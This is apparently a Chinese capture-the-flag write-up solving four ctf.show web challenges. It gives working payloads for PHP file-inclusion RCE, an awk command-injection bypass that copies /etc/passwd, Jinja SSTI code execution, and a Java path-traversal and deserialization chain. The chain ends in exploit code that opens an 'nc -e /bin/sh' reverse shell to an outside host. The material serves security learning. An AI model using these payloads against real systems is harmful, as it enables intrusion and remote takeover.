友情提示:本文最后更新于 318 天前,文中的内容可能已有所发展或发生改变。 web签到 1
2
3
4
5
6
7
8
9
10
11
12
13
<? php
error_reporting ( 0 );
highlight_file ( __FILE__ );
$file = $_POST [ 'file' ];
if ( isset ( $file )){
if ( strrev ( $file ) == $file ){
include $file ;
}
}
strrev函数用来进行字符串的反转,这里是个文件包含可以用伪协议绕过,而且是弱比较
1
2
<? php
echo strrev ( "?>phpphp?>" );
类似的写出payload
1
2
3
https://1bed9667-adbd-4f21-a6df-1a8a7c0833dc.challenge.ctf.show/?1=system("tac /f1agaaa");
file=data://text/plain,<?php eval($_GET[1]);?>>?;)]1[TEG_$(lave php?<,nialp/txet//:atad
easyPHP 1
2
3
4
5
6
7
8
9
10
11
12
<? php
error_reporting ( 0 );
highlight_file ( __FILE__ );
$cmd = $_POST [ 'cmd' ];
$param = $_POST [ 'param' ];
if ( isset ( $cmd ) && isset ( $param )){
$cmd = escapeshellcmd ( substr ( $cmd , 0 , 3 )) . " " . escapeshellarg ( $param ) . " " . __FILE__ ;
shell_exec ( $cmd );
}
还是一个RCE,已过看到了老搭档了,而且很明显这个格式就是一个shell,我们可以在服务器终端进行测试
1
awk 'BEGIN{system("ls /")}'
不过shell_exec是无回显的,这里写个文件带出来即可
1
2
3
4
cmd=awk¶m=BEGIN{system("cp /etc/passwd a")}
cmd=awk¶m=BEGIN{system("ls / > a")}
cmd=awk¶m=BEGIN{system("tac /f1agaaa > a")}
姻缘测试 源码里面可以看到/source路由,然后我们看看
1
2
3
4
5
6
def is_hacker ( string ):
"""整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""
if "{" in string and "}" in string :
return True
else :
return False
要绕过waf这里,首先我们是知道参数了,并且知道如何攻击,测试了很久,也不知道这后端怎么写的,只有'能够正常渲染,
1
https://1cb874d3-6cb0-4b55-a0ab-03af03a8e550.challenge.ctf.show/result?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[82].__init__.__globals__.__import__('os').popen('tac /f*').read()}}
blog 注册登录之后发现描述:
并且发现源码里面的头像路径
正常思路就是想办法给报错了,回到登录界面给加入'或者是"
找到了使用的框架Hibernate,而这个框架有漏洞就是可以IOC注入,我也没太懂,不过就类似于参数覆盖,
成功了,再一看头像路径就变成了
可以试试路径穿越的文件读取漏洞,不过要调整一下bp的参数设置,不然是不能抓去图片的包的
成功之后就开始文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /avatar/file/../web.xml HTTP / 1.1
Host : 7e2a881d-9c98-488f-9d7c-1d08ca1ba8ab.challenge.ctf.show
Cookie : JSESSIONID=C25ED3AAA09B0BC2FD067F01C10C4178
Cache-Control : max-age=0
Sec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile : ?0
Sec-Ch-Ua-Platform : "Windows"
Upgrade-Insecure-Requests : 1
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site : none
Sec-Fetch-Mode : navigate
Sec-Fetch-User : ?1
Sec-Fetch-Dest : document
Accept-Encoding : gzip, deflate
Accept-Language : zh-CN,zh;q=0.9,en;q=0.8
Priority : u=0, i
Connection : close
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns= "http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi= "http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation= "http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version= "4.0" >
<context-param>
<param-name> contextConfigLocation</param-name>
<param-value> /WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class> org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<filter>
<filter-name> encoding</filter-name>
<filter-class> org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name> encoding</param-name>
<param-value> utf-8</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name> encoding</filter-name>
<url-pattern> /*</url-pattern>
</filter-mapping>
<servlet>
<servlet-name> dispatcher</servlet-name>
<servlet-class> org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup> 1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name> dispatcher</servlet-name>
<url-pattern> /*</url-pattern>
</servlet-mapping>
</web-app>
可以继续读Spring框架的配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /avatar/file/../applicationContext.xml HTTP / 1.1
Host : 7e2a881d-9c98-488f-9d7c-1d08ca1ba8ab.challenge.ctf.show
Cookie : JSESSIONID=C25ED3AAA09B0BC2FD067F01C10C4178
Cache-Control : max-age=0
Sec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile : ?0
Sec-Ch-Ua-Platform : "Windows"
Upgrade-Insecure-Requests : 1
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site : none
Sec-Fetch-Mode : navigate
Sec-Fetch-User : ?1
Sec-Fetch-Dest : document
Accept-Encoding : gzip, deflate
Accept-Language : zh-CN,zh;q=0.9,en;q=0.8
Priority : u=0, i
Connection : close
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns= "http://www.springframework.org/schema/beans"
xmlns:xsi= "http://www.w3.org/2001/XMLSchema-instance"
xmlns:context= "http://www.springframework.org/schema/context"
xmlns:mvc= "http://www.springframework.org/schema/mvc"
xsi:schemaLocation= "http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
https://www.springframework.org/schema/mvc/spring-mvc.xsd" >
<!--扫描组件-->
<context:component-scan base-package= "com.ctfshow.*" />
<bean id= "viewResolver" class= "org.thymeleaf.spring5.view.ThymeleafViewResolver" >
<property name= "order" value= "1" />
<property name= "characterEncoding" value= "UTF-8" />
<property name= "templateEngine" >
<bean class= "org.thymeleaf.spring5.SpringTemplateEngine" >
<property name= "templateResolver" >
<bean class= "org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver" >
<!--视图前缀-->
<property name= "prefix" value= "/WEB-INF/templates/" />
<!--视图后缀-->
<property name= "suffix" value= ".html" />
<property name= "templateMode" value= "HTML5" />
<property name= "characterEncoding" value= "UTF-8" />
</bean>
</property>
</bean>
</property>
</bean>
<mvc:annotation-driven/>
<mvc:resources mapping= "/static/**" location= "/WEB-INF/static/" />
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path= "/page/{\d+}" />
<bean class= "com.ctfshow.Interceptor.ArticleInterceptor" />
</mvc:interceptor>
<mvc:interceptor>
<mvc:mapping path= "/**" />
<mvc:exclude-mapping path= "/" />
<mvc:exclude-mapping path= "/admin/**" />
<mvc:exclude-mapping path= "/page/" />
<mvc:exclude-mapping path= "/avatar/**" />
<mvc:exclude-mapping path= "/page/*" />
<mvc:exclude-mapping path= "/user/login" />
<mvc:exclude-mapping path= "/user/register" />
<mvc:exclude-mapping path= "/static/**" />
<bean class= "com.ctfshow.Interceptor.LoginInterceptor" />
</mvc:interceptor>
</mvc:interceptors>
</beans>
看到有两个拦截器在后面(怎么看出来的,问AI)
1
2
com.ctfshow.Interceptor.LoginInterceptor
com.ctfshow.Interceptor.ArticleInterceptor
读取源码
1
2
/avatar/file/../classes/com/ctfshow/Interceptor/ArticleInterceptor.class
/avatar/file/../classes/com/ctfshow/Interceptor/LoginInterceptor.class
然后我一直是拿不到源码,放在jadx里面是报错的,这里其实问题就是class文件结构
还有就是存文件的时候最好是从hex存
放到厨子里面直接保存为class文件,然后放在010里面
这四位是多的,给删掉然后就得到了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*LoginInterceptor*/
package com.ctfshow.Interceptor ;
import javax.servlet.http.HttpServletRequest ;
import javax.servlet.http.HttpServletResponse ;
import javax.servlet.http.HttpSession ;
import org.springframework.web.servlet.HandlerInterceptor ;
import org.springframework.web.servlet.ModelAndView ;
/* loaded from: LoginInterceptor.class */
public class LoginInterceptor implements HandlerInterceptor {
public boolean preHandle ( HttpServletRequest request , HttpServletResponse response , Object handler ) throws Exception {
HttpSession session = request . getSession ();
if ( null != session . getAttribute ( "isLogin" )) {
return true ;
}
response . sendRedirect ( "/user/login" );
return false ;
}
public void postHandle ( HttpServletRequest request , HttpServletResponse response , Object handler , ModelAndView modelAndView ) throws Exception {
super . postHandle ( request , response , handler , modelAndView );
}
public void afterCompletion ( HttpServletRequest request , HttpServletResponse response , Object handler , Exception ex ) throws Exception {
super . afterCompletion ( request , response , handler , ex );
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*ArticleInterceptor*/
package com.ctfshow.Interceptor ;
import com.ctfshow.dao.ArticleEntity ;
import com.ctfshow.model.ArticleModel ;
import javax.servlet.http.HttpServletRequest ;
import javax.servlet.http.HttpServletResponse ;
import javax.servlet.http.HttpSession ;
import org.springframework.web.servlet.HandlerInterceptor ;
/* loaded from: ArticleInterceptor.class */
public class ArticleInterceptor implements HandlerInterceptor {
public void afterCompletion ( HttpServletRequest request , HttpServletResponse response , Object handler , Exception ex ) throws Exception {
HttpSession session = request . getSession ();
ArticleEntity articleEntity = ( ArticleEntity ) session . getAttribute ( "page" );
articleEntity . setGood ( Integer . valueOf ( articleEntity . getGood (). intValue () + 1 ));
ArticleModel articleModel = new ArticleModel ();
articleModel . saveArticle ( articleEntity );
super . afterCompletion ( request , response , handler , ex );
}
}
有这些那肯定有控制器的
1
2
/avatar/file/../classes/com/ctfshow/controller/ArticleController.class
/avatar/file/../classes/com/ctfshow/controller/LoginController.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/*ArticleController.class*/
package com.ctfshow.controller ;
import com.ctfshow.dao.ArticleEntity ;
import com.ctfshow.dao.UserEntity ;
import com.ctfshow.model.ArticleModel ;
import java.sql.Timestamp ;
import java.util.List ;
import javax.servlet.http.HttpSession ;
import org.springframework.ui.Model ;
import org.springframework.web.bind.annotation.GetMapping ;
import org.springframework.web.bind.annotation.PathVariable ;
import org.springframework.web.bind.annotation.PostMapping ;
import org.springframework.web.bind.annotation.RequestParam ;
import org.springframework.web.bind.annotation.ResponseBody ;
import org.springframework.web.servlet.ModelAndView ;
/* loaded from: ArticleController.class */
public class ArticleController {
@GetMapping ({ "/{id}" })
public String page ( @PathVariable Integer id , HttpSession session , Model model ) {
ArticleModel articleModel = new ArticleModel ();
ArticleEntity page = articleModel . getArticleById ( id );
if ( page == null ) {
model . addAttribute ( "message" , "错误:已经没有内容了" );
return "pageMessage" ;
}
model . addAttribute ( "page" , page );
session . setAttribute ( "page" , page );
model . addAttribute ( "isLogin" , session . getAttribute ( "isLogin" ));
return "page" ;
}
@GetMapping ({ "/" })
public String pageList ( HttpSession session , Model model ) {
ArticleModel articleModel = new ArticleModel ();
List < ArticleEntity > pages = articleModel . getAllArticle ();
model . addAttribute ( "pages" , pages );
model . addAttribute ( "isLogin" , session . getAttribute ( "isLogin" ));
return "pageList" ;
}
@GetMapping ({ "/user/add" })
public String pageAdd ( HttpSession session , Model model ) {
model . addAttribute ( "user" , ( UserEntity ) session . getAttribute ( "user" ));
model . addAttribute ( "isLogin" , session . getAttribute ( "isLogin" ));
return "pageAdd" ;
}
@PostMapping ({ "/user/add" })
@ResponseBody
public ModelAndView pageAdd ( @RequestParam String title , @RequestParam String content , HttpSession session , Model model ) {
ArticleEntity articleEntity = new ArticleEntity ();
ArticleModel articleModel = new ArticleModel ();
UserEntity user = ( UserEntity ) session . getAttribute ( "user" );
if ( null != title && null != content ) {
articleEntity . setTitle ( title );
articleEntity . setAuthor ( user . getUsername ());
articleEntity . setGood ( 0 );
articleEntity . setCreateDate ( new Timestamp ( System . currentTimeMillis ()));
articleEntity . setContent ( content );
articleModel . saveArticle ( articleEntity );
model . addAttribute ( "message" , "发布成功!" );
model . addAttribute ( "retUrl" , "/page/" );
} else {
model . addAttribute ( "message" , "发布失败,标题或内容不能为空" );
model . addAttribute ( "retUrl" , "/page/user/add" );
}
ModelAndView modelAndView = new ModelAndView ( "pageMessage" , "pageMessage" , model );
return modelAndView ;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
/*LoginController.class*/
package com.ctfshow.controller ;
import com.ctfshow.dao.UserEntity ;
import com.ctfshow.model.UserModel ;
import java.util.UUID ;
import javax.servlet.http.HttpSession ;
import org.springframework.stereotype.Controller ;
import org.springframework.ui.Model ;
import org.springframework.web.bind.annotation.GetMapping ;
import org.springframework.web.bind.annotation.PostMapping ;
import org.springframework.web.bind.annotation.RequestMapping ;
import org.springframework.web.bind.annotation.RequestParam ;
import org.springframework.web.bind.annotation.ResponseBody ;
import org.springframework.web.servlet.ModelAndView ;
@RequestMapping ( path = { "/user" })
@Controller
/* loaded from: LoginController.class */
public class LoginController {
@GetMapping ({ "/login" })
public String index ( HttpSession session , Model model ) {
return null != session . getAttribute ( "isLogin" ) ? "redirect:/page/" : "loginPage" ;
}
@PostMapping ({ "/login" })
public String doLogin ( UserEntity user , HttpSession session , Model model ) {
UserModel userModel = new UserModel ();
UserEntity check = userModel . getUserByUsername ( user . getUsername ());
if ( user . equals ( check )) {
session . setAttribute ( "isLogin" , true );
session . setAttribute ( "user" , user );
String loginResult = "登录成功" ;
if ( check . getId () == 1 ) {
String uuid = UUID . randomUUID (). toString (). replaceAll ( "-" , "" );
loginResult = loginResult + " 请保存token:" + uuid ;
session . setAttribute ( "token" , uuid );
session . setAttribute ( "user" , check );
}
model . addAttribute ( "message" , loginResult );
return "pageMessage" ;
}
model . addAttribute ( "loginResult" , "登录失败,用户名/密码不正确。" );
return "loginResult" ;
}
@GetMapping ({ "/register" })
public String register () {
return "reg" ;
}
@PostMapping ({ "/register" })
public String doRegister ( UserEntity user , Model model ) {
UserModel userModel = new UserModel ();
if ( user != null && ! user . getUsername (). equals ( "admin" )) {
userModel . createUser ( user );
model . addAttribute ( "loginResult" , "注册成功。" );
model . addAttribute ( "retUrl" , "/user/login" );
return "loginResult" ;
}
model . addAttribute ( "message" , "注册信息有误,请检查。" );
return "pageMessage" ;
}
@GetMapping ({ "/logout" })
public String doLoginOut ( HttpSession session , Model model ) {
session . removeAttribute ( "isLogin" );
session . removeAttribute ( "user" );
return "redirect:/page/" ;
}
@PostMapping ({ "/changePassword" })
@ResponseBody
public ModelAndView changePassword ( @RequestParam String newPassword , HttpSession session , Model model ) {
UserEntity userEntity = ( UserEntity ) session . getAttribute ( "user" );
if ( null != newPassword ) {
userEntity . setPassword ( newPassword );
UserModel userModel = new UserModel ();
userModel . updateUser ( userEntity );
model . addAttribute ( "message" , "修改成功" );
} else {
model . addAttribute ( "message" , "修改失败" );
}
ModelAndView modelAndView = new ModelAndView ( "pageMessage" , "pageMessage" , model );
return modelAndView ;
}
}
继续读取
1
/avatar/file/../classes/com/ctfshow/dao/UserEntity.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package com.ctfshow.dao ;
import java.io.IOException ;
import java.io.ObjectInputStream ;
import java.io.Serializable ;
import java.lang.reflect.InvocationTargetException ;
import java.util.Objects ;
import javax.persistence.Basic ;
import javax.persistence.Column ;
import javax.persistence.Entity ;
import javax.persistence.Id ;
import javax.persistence.Table ;
@Table ( name = "user" , schema = "ctfshow" , catalog = "" )
@Entity
/* loaded from: UserEntity.class */
public class UserEntity implements Serializable {
private static final long serialVersionUID = 1 ;
private int id ;
private String username ;
private String password ;
private String email ;
private String address ;
@Id
@Column ( name = "Id" )
public int getId () {
return this . id ;
}
public void setId ( int id ) {
this . id = id ;
}
@Basic
@Column ( name = "username" )
public String getUsername () {
return this . username ;
}
public void setUsername ( String username ) {
this . username = username ;
}
@Basic
@Column ( name = "password" )
public String getPassword () {
return this . password ;
}
public void setPassword ( String password ) {
this . password = password ;
}
public boolean equals ( Object o ) {
if ( this == o ) {
return true ;
}
if ( o == null || getClass () != o . getClass ()) {
return false ;
}
UserEntity user = ( UserEntity ) o ;
return Objects . equals ( this . username , user . username ) && Objects . equals ( this . password , user . password );
}
public int hashCode () {
return Objects . hash ( Integer . valueOf ( this . id ), this . username , this . password );
}
@Basic
@Column ( name = "email" )
public String getEmail () {
return this . email ;
}
@Basic
@Column ( name = "address" )
public String getAddress () {
return this . address ;
}
public void setEmail ( String email ) {
this . email = email ;
}
public void setAddress ( String address ) {
this . address = address ;
}
private void readObject ( ObjectInputStream input ) throws IOException , ClassNotFoundException , NoSuchMethodException , InvocationTargetException , IllegalAccessException {
input . defaultReadObject ();
Class . forName ( this . username ). getMethod ( this . email , String . class ). invoke ( Class . forName ( this . username ). getMethod ( this . password , new Class [ 0 ] ). invoke ( Class . forName ( this . username ), new Object [ 0 ] ), this . address );
}
}
其中并没有对最重要的ID进行限制
而login路由可以看到,由于我们是注册了的,他还是直接比较的用户名和密码,如果有ID就直接覆盖,并且生成token了
而一看/changePassword他的用户是从session中获得的,而这用户是我们伪造的,我们可以利用这个直接去拿到正确的admin
而为啥这么说呢,我们可以读取UserModel得到答案
1
/avatar/file/../classes/com/ctfshow/model/UserModel.class
其中有一段重要代码
saveOrUpdate方法,如果ID存在,会直接更新。
然后我们去修改密码,参数是我们当前账号的密码
重新登录拿到token
这个token应该是配套权限的,我们继续读取
1
/avatar/file/../classes/com/ctfshow/controller/AdminController.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.ctfshow.controller ;
import java.io.IOException ;
import java.io.ObjectInputStream ;
import java.net.URL ;
import javax.servlet.http.HttpSession ;
import org.springframework.stereotype.Controller ;
import org.springframework.ui.Model ;
import org.springframework.web.bind.annotation.PostMapping ;
import org.springframework.web.bind.annotation.RequestMapping ;
import org.springframework.web.bind.annotation.RequestParam ;
@RequestMapping ({ "/admin" })
@Controller
/* loaded from: AdminController.class */
public class AdminController {
@PostMapping ({ "/update" })
public String adminConsole ( @RequestParam String token , @RequestParam String url , HttpSession session , Model model ) throws IOException , ClassNotFoundException {
if ( token != null && token . equals ( session . getAttribute ( "token" ))) {
URL fileUrl = new URL ( url );
ObjectInputStream objectInputStream = new ObjectInputStream ( fileUrl . openStream ());
objectInputStream . readObject ();
model . addAttribute ( "message" , "更新成功" );
return "pageMessage" ;
}
model . addAttribute ( "message" , "更新失败,token无效" );
return "pageMessage" ;
}
}
得到了参数是token和url以及攻击路由admin/update,看到调用了readObject,找我们之前读取的文件里面UserEntity
1
2
3
4
private void readObject ( ObjectInputStream input ) throws IOException , ClassNotFoundException , NoSuchMethodException , InvocationTargetException , IllegalAccessException {
input . defaultReadObject ();
Class . forName ( this . username ). getMethod ( this . email , String . class ). invoke ( Class . forName ( this . username ). getMethod ( this . password , new Class [ 0 ] ). invoke ( Class . forName ( this . username ), new Object [ 0 ] ), this . address );
}
参数可控可以打反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.ctfshow ;
import com.ctfshow.dao.UserEntity ;
import org.hibernate.HibernateException ;
import org.hibernate.Metamodel ;
import org.hibernate.query.Query ;
import org.hibernate.Session ;
import org.hibernate.SessionFactory ;
import org.hibernate.cfg.Configuration ;
import javax.persistence.metamodel.EntityType ;
import java.io.* ;
import java.net.URL ;
import java.util.Map ;
public class Main {
public static void main ( final String [] args ) throws Exception {
UserEntity userEntity = new UserEntity ();
userEntity . setUsername ( "java.lang.Runtime" );
userEntity . setPassword ( "getRuntime" );
userEntity . setEmail ( "exec" );
userEntity . setAddress ( "nc IP 端口 -e /bin/sh" );
FileOutputStream fos = new FileOutputStream ( "exp" );
ObjectOutputStream os = new ObjectOutputStream ( fos );
os . writeObject ( userEntity );
os . close ();
}
}
0x03 小结 学了很多,同时发现是真坐牢啊,看来要好好学习一下java了,不然这个poc都不知道怎么run